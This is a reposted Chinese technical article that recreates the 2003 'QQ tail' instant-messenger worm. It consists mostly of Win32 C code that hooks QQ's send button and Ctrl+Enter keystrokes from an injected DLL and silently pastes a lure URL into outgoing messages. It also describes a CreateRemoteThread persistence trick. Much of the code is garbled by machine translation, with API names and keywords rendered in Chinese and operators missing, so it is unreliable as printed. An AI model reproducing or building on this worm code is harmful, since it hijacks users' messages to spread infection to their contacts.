QQ尾巴病毒核心技术的实现
2003年那一年,QQ尾病毒算是风光了一阵子。它利用IE的头部漏洞在QQ上疯狂传播。当感染者给别人发消息时,病毒会自动在消息正文后面加上一句话,内容多种多样。简而言之,就是希望消息的接收者点击这句话里的网址,成为下一个感染者。
下面我要讨论的是QQ尾巴病毒使用的技术。因为拿不到病毒的源代码,以下代码都是我的主观臆断。好在效果和病毒本身基本一致。
粘贴尾部
首先,一个最简单的问题就是如何添加文字。这个技术没有秘密,就是通过剪贴板粘贴一个字到QQ消息的RichEdit。代码如下:
TCHARg_str[]='欢迎来到我的站:http://titi Lima . nease . net ';
//函数函数:将尾部粘贴到文本框中
voidPasteText(HWNDhRich)
{
HGLOBALhMem
LPTSTRpStr
//分配内存空间
hMem=global alloc(GHND | GMEM _ SHARE,sizeof(g _ str));
pStr=全局锁(hMem);
lstrcpy(pStr,g _ str);
全球解锁(hMem);
OpenClipboard(空);
EmptyClipboard();
//设置剪贴板文本
SetClipboardData(CF_TEXT,hMem);
close clipboard();
//释放内存空间
global free(hMem);
//粘贴文本
SendMessage(hRich,WM_PASTE,0,0);
}
钩
好,那么下面的问题是,这段文字应该什么时候贴?网上一些关于QQ尾巴实现的文章指出,可以用定时器来控制粘贴时间,大概是这样的:
voidcqtaildlg:on timer(UINTnIDEvent)
{
PasteText(hRich);
}
这确实是一个解决方案,但也有很大的局限性。如何设置——定时器的间隔?可能中毒的人在打字,出现了尾文“唰”.
然而,病毒本身并不是这样的。当你点击“发送”或按下Ctrl Enter时,它可以准确地粘贴文本。2003年1月,我在P2的一台电脑中毒了。因为系统速度比较慢,我可以很清楚的看到文字粘贴的时机。
至此,我所陈述的事实一定会让作为读者的你说:勾!3354是的,是钩子。下面我说的是利用钩子真实再现“QQ尾巴病毒”的技术。
首先我简单介绍一下钩子。已经熟悉钩子的朋友可以跳过这一段。所谓Win32钩子,并不是铁钩船长人工复制的手臂,而是一个子程序,可以用来监控和检测系统中的特定消息,完成一些特定的功能。比如你的程序是皇帝,Windows系统充当各省省长;至于钩子,可以算是皇帝的钦差大臣。比如皇帝下令全国收税,然后派钦差大臣找到山西巡抚说:“皇帝下令,山西除了正常的税收,还要加十坛杏花村酒。”(-_-#……)就像皇帝可以用这种方法对待特定的总督一样,程序员也可以在Windows系统中使用钩子来捕获和处理特定的消息。
问题是我们需要一个钩子在用户点击“发送”按钮后粘贴我们的文本。我实现的这个挂钩过程是(至于这个挂钩怎么挂,我后面再解释):
//钩子子程,监视“已发送”的命令消息
LRESULTCALLBACKCallWndProc(intn code,WPARAMwParam,LPARAMlParam)
{
CWPSTRUCT * p=(CWPSTRUCT *)lParam;
//捕获“发送”按钮
if(p-message==WM _ command low word(p-wParam)==1)
PasteText(g _ hRich);
returnCallNextHookEx(g_hProc,nCode,wParam,lParam);
}
在这里,我将解释关于这个回调过程的几点:
1.lParam是指向CWPSTRUCT结构的指针,描述如下:
typedefstruct{
LPARAMlParam
WPARAMwParam
UINTmessage
HWNDhwnd
}CWPSTRUCT,* PCWPSTRUCT
这时候像我这样的SDKfans可能会笑:这不就是窗口回调的四个硬核参数吗?如你所说,这是真的。你甚至可以使用像switch(p-message){/*这样的代码编写的钩子函数.*/}完全接管QQ窗口。
2.g_hRich是一个全局变量,用于保存QQ消息文本框的句柄。这里之所以使用全局变量,是因为我无法从键盘钩子回调函数的参数中获取这个句柄。至于如何得到这个句柄,以及这个全局变量的特殊位置,我后面会解释。
3.CallNextHookEx是调用挂钩链的下一个进程。如果换了钦差,你会说:“石潭杏花村钦差为皇上收了酒书。现在请总督把你们省的正常税收交上来。”(-_-#……)这是编写钩子函数非常重要的一个环节。如果缺少这句话,可能会导致系统的钩子链出错,部分程序不会响应3354。其实我在写这个模拟程序的时候,QQ被典当了好几次。
4.你可能会问我为什么要捕获WM_COMMAND消息。这个原因我用下面的SDK代码来解释一下(虽然QQ是用MFC写的,但是WM_COMMAND和“发送”按钮的关系只能用SDK代码来解释):
#defineIDC_BTN_SENDMSG1//"发送"按钮ID的宏定义
//QQ发送消息对话框回拨过程马丽伪造版
LRESULTCALLBACKProcSendDlg(HWNDhDlg,UINTMsg,WPARAMwParam,LPARAMlParam)
{
开关(消息)
{
caseWM_CLOSE:
EndDialog(hDlg,0);
打破;
caseWM_COMMAND:
{
开关(低字(wParam))
{
case IDC _ BTN _发送消息:
//发送消息.
打破;
//其他命令按钮处理部件.
}
}
打破;
//其他案例部分.
}
return0
}
发送消息的整个过程是:当用户点击“发送”按钮时,这个按钮的父窗口(也就是“发送消息”对话框)会收到一个WM_COMMAND的通知消息,其中wParam的低阶字(也就是LOWORD(wParam))就是这个按钮的ID,然后发送的部分代码就会被调用。这个过程如下:
所以对我来说,捕捉WM_COMMAND消息比捕捉其他消息或者挂钩鼠标要有效得多。
好了,现在这个钩子可以成功完成任务了。但是请不要忘记:更多的用户更喜欢使用“Ctrl Enter”热键来发送消息,所以需要在程序中挂一个键盘钩子:
//键盘钩子进程,监视“发送”热键消息
LRESULTCALLBACKKeyboardProc(intn code,WPARAMwParam,LPARAMlParam)
{
//捕获热键消息
if(wParam==VK _ RETURNGetAsyncKeyState(VK _控制)0lParam=0)
PasteText(g _ hRich);
returnCallNextHookEx(g_hKey,nCode,wParam,lParam);
}
这里唯一需要说明的是lParam=0子句。很明显,这个if判断是判断热键Ctrl Enter的输入,那么lParam=0是什么呢?其实lParam是键盘钩子回调中一个非常重要的参数,包含了重复击键次数、扫码、扩展键标志等信息。lParam的最高位(0x80000000)表示该键当前是否被按下。如果该位被按下,则该位为0,否则为1。因此,lParam=0意味着在WM_KEYDOWN发生时调用PasteText。也就是说,如果去掉这个条件,PasteText会被调用两次(和WM_KEYUP一起调用一次)。
挂钩和查找窗口
接下来就是两个钩子怎么勾了。对于挂钩钩子来说,要解决的问题是:在哪里钩,怎么钩?
挂钩的目标必须是QQ“发送消息”窗口的线程。我的代码是传入这个窗口的句柄来连接它:
//钩住钩子
BOOLWINAPISetHook(HWNDhQQ)
{
BOOLbRet=FALSE
如果(hQQ!=空)
{
DWORDdwThreadID=GetWindowThreadProcessId(hQQ,NULL);
//感谢好友hottey找到代码,省去了我用Spy的麻烦。
g _ hRich=GetWindow(GetDlgItem(hQQ,0),GW _ CHILD);
if(g_hRich==NULL)
返回false;
//钩住钩子
g _ hProc=SetWindowsHookEx(WH _ CALLWNDPROC,CALLWNDPROC,g_hInstDLL,dw threadid);
g _ hKey=SetWindowsHookEx(WH _ KEYBOARD,KeyboardProc,g_hInstDLL,dwThreadID);
bRet=(g_hProc!=NULL)(g_hKey!=NULL);
}
其他
{
//卸载挂钩
bRet=UnhookWindowsHookEx(g _ hProc)UnhookWindowsHookEx(g _ hKey);
g _ hProc=NULL
g _ hKey=NULL
g _ hRich=NULL
}
returnbRet
}
到目前为止,以上代码都位于Hook.dll的一个动态链接库中,所以我就不介绍dll了。请参考MSDN的相关资料和本文的支持源代码。
所有重要的工作都在DLL中完成了(其实这部分工作只能由DLL来完成,这是由Windows虚拟内存机制决定的)。我们只需要在EXE中调用导出的SetHook函数。那么,如何获取SetHook的参数呢?请看下面的代码:
//感谢好友hottey找到代码,省去了我用Spy的麻烦。
HWNDhSend
g _ hQQ=NULL
SetHook(空);
做
{
g_hQQ=FindWindowEx(NULL,g_hQQ,' #32770 ',NULL);
Hs end=FindWindowex (g _ hQQ,null,' button ',' send(s)');
}而(g_hQQ!=NULLhSend==NULL);
如果(g_hQQ!=空)
SetHook(g _ hQQ);
这段代码中的do-while循环用于查找“发送消息”的窗口。QQ窗口的保密性越来越强,一层一层的找很不方便,所以要感谢朋友hottey的文章《QQ消息炸.弹随想》,省去了我反复使用Spy的麻烦。我所做的只是把他文本中的Delphi代码翻译成C代码。
DLL的共享数据段
如果你对dll了解不多,看完我的配套源代码,你肯定会对下面的代码有一些疑问:
//定义共享数据段
#pragmadata_seg('shared ')
HHOOKg _ hProc=NULL//窗口过程钩子的句柄
HHOOKg _ hKey=NULL//键盘挂钩句柄
HWNDg _ hRich=NULL//文本框句柄
#pragmadata_seg()
#pragmacomment(链接器,'/section:shared,rws ')
这定义了一个共享数据段。是的,因为我的评论已经写得很清楚了,那么共享数据段起什么作用呢?在回答这个问题之前,我要求您在代码中注释掉以#开头的预处理指令,然后重新编译这个DLL并运行它。你会发现什么?
是的,加尾失败!
好,我来解释一下这个问题。我们模拟程序的EXE,DLL和QQ的主程序其实是以下关系:
这个DLL需要将一个实例映射到EXE的地址空间供其调用,将另一个实例映射到QQ的地址空间来完成钩子工作。也就是说挂钩的时候,整个系统的模块里有两个DLL实例!这个DLL不是另一个DLL,所以它们之间没有联系。以全局变量g_hRich为例。图中左边的DLL通过EXE的输入获得文本框的句柄。但是,如果没有共享段,那么右边的DLL仍然为空。这里分享的意义就体现出来了,就是保证EXE,DLL,QQ之间的连接。这有点类似于c中static的成员变量。
钩子成功钩住后,可以通过一些有模块查看功能的流程管理器看一下,会发现Hook.dll也位于QQ.exe的模块中。
一些最后的话要说。
1.正如我之前所说,我在2003年1月遇到了这种病毒。至今我还清楚的记得病毒EXE只有16KB大小,所以从病毒本身的性质来说,用Win32ASM写这个东西会比较实用。
2.我以前用手杀死病毒。——用进程查看工具杀了它。不过现在“QQ尾巴”增加了复活功能3354。EXE被杀后,DLL会唤醒它。我用我的进程查看工具分析了一下,发现系统中几乎所有的进程都被病毒DLL抓住了。这种技术利用CreateRemoteThread在所有进程中插入一个额外的复活线程,真的可以一举两得,——,保证EXE永远运行,并且使用中的DLL不能删除。这个技术我也实现了,但是稳定性远不如病毒本身优秀,这里就不写出来了。感兴趣的朋友可以参考JeffreyRichter 《Windows核心编程》的相关章节。
3.想起了侯杰《STL源码剖析》里的那句话——“在源代码之前,没有秘密。”如果你看完这篇文章也有同感,那么我将不胜荣幸。
郑重声明:本文由网友发布,不代表盛行IT的观点,版权归原作者所有,仅为传播更多信息之目的,如有侵权请联系,我们将第一时间修改或删除,多谢。